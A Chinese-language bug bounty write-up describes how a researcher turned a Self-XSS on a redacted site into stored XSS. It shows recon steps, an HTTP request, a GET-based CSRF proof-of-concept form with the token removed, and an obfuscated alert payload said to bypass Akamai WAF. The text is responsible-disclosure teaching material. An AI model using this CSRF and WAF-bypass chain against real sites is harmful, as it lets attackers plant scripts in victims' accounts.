背景介绍
今天来分享一位来自叙利亚安全研究员的一个挖洞案例,来看看他是如何将Self-XSS升级为存储型XSS的。
漏洞发现
由于漏洞披露原则,暂将目标网站统称为redacted.com,我们的白帽小哥首先是对该目标的子域进行枚举,为了获得最大效果,他使用了众所周知的主流工具:subfinder、Wayback Machine、Amass以及crt.sh,然后利用httpx筛选出可用的目标。
找到目标
经过上述一系列操作后,白帽小哥发现了一个有趣的子域,该子域属于私人用户,当打开网站时,它会重定向至另一个页面,该页面显示必须获得邀请才能访问,我们将该子域暂称为local.redacted.com,这种情况下,大家首先想到的肯定是对该子域进行Fuzz,白帽小哥也是这么做的,但是经过一段时间的Fuzz后,没有获得任何满意的结果,于是小哥使用Google Dork对子域进行搜索:site:local.redacted.com
,意外获得了不少结果,当逐个查看这些页面时,他发现了一个注册页面,于是小哥开始注册一个新的账户。
在注册的过程中,白帽小哥在姓氏、名字等字段使用了一些特殊字符,注册成功后,查看帐户信息,XSS被触发,但这是一个典型的SelfXSS,目标网站对于此类漏洞认为没有任何危害和影响…
CSRF
面对SelfXSS时,白帽小哥的做法是:
- 在需要登录的页面上寻找CSRF,然后尝试利用CSRF登录到受害者账户
- 或者在某些参数中寻找CSRF,比如将地址内容更改为XSS Payload
说干就干。
首先通过Burp抓包请求,在更改地址内容时,发现该请求有一个名为csrf_token,白帽小哥尝试绕过,很遗憾,均告失败。
然后,白帽小哥发现可以添加新的地址信息,捕获该请求时,令牌参数为"token",而当删除它时,服务器接受了该请求,但服务器会检查 Referer 标头。
于是小哥尝试将请求由POST修改为GET:
POST /account/add-new-address HTTP/2
Host: local.redacted.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 261
Referer: https://local.redacted.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: red
Te: trailers
token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&address1=Xss_here&address2=test&city=test&countryName=US&state=AZ&postalCode=12321&phoneNumber=1111111111&phoneType=Hom&alPhno=&alPhType=
服务器同样接受了该请求,那么事情就好办多了:
https://local.redacted.com/account/add-new-address?address1=Xss_here&address2=test&city=test&countryName=US&state=AZ&postalCode=12321&phoneNumber=1111111111&phoneType=Hom&alPhno=&alPhType=
CSRF请求:
<html>
<body>
<form method="GET" action="https://local.redacted.com/account/add-new-address">
<input type="hidden" name="address1" value="Xss here"/>
<input type="hidden" name="address2" value="test"/>
<input type="hidden" name="city" value="test"/>
<input type="hidden" name="countryName" value="US"/>
<input type="hidden" name="state" value="AZ"/>
<input type="hidden" name="postalCode" value="11111"/>
<input type="hidden" name="phoneNumber" value="1111111111"/>
<input type="hidden" name="phoneType" value="Hom"/>
<input type="hidden" name="alPhno" value=""/>
<input type="submit" value="Submit">
</form>
</body>
<html>
WAF绕过
一切还算顺利,但是由于目标网站使用了Akamai WAF,事情变得并不简单,于是白帽小哥向他的大神XSS好友请教,在好友的帮助下,一分钟便实现了WAF绕过,Payload如下:
";let y='rt',x='ale';window[x+y]('Xss')//
那么,只需要将CSRF链接发给受害者,就可以在受害者的账户添加新的地址,而这个地址就是上面漂亮的JS代码~
漏洞复现总结
- 使用Google Dork 发现注册页面
- 创建新帐户
- 添加新的地址信息
- 删除CSRF token,并将POST请求更改为GET请求
- 将XSS代码写入地址
- 创建CSRF PoC
- 将链接发送给受害者
最终该漏洞被定级为高危,白帽小哥也顺利的获得了相应赏金奖励。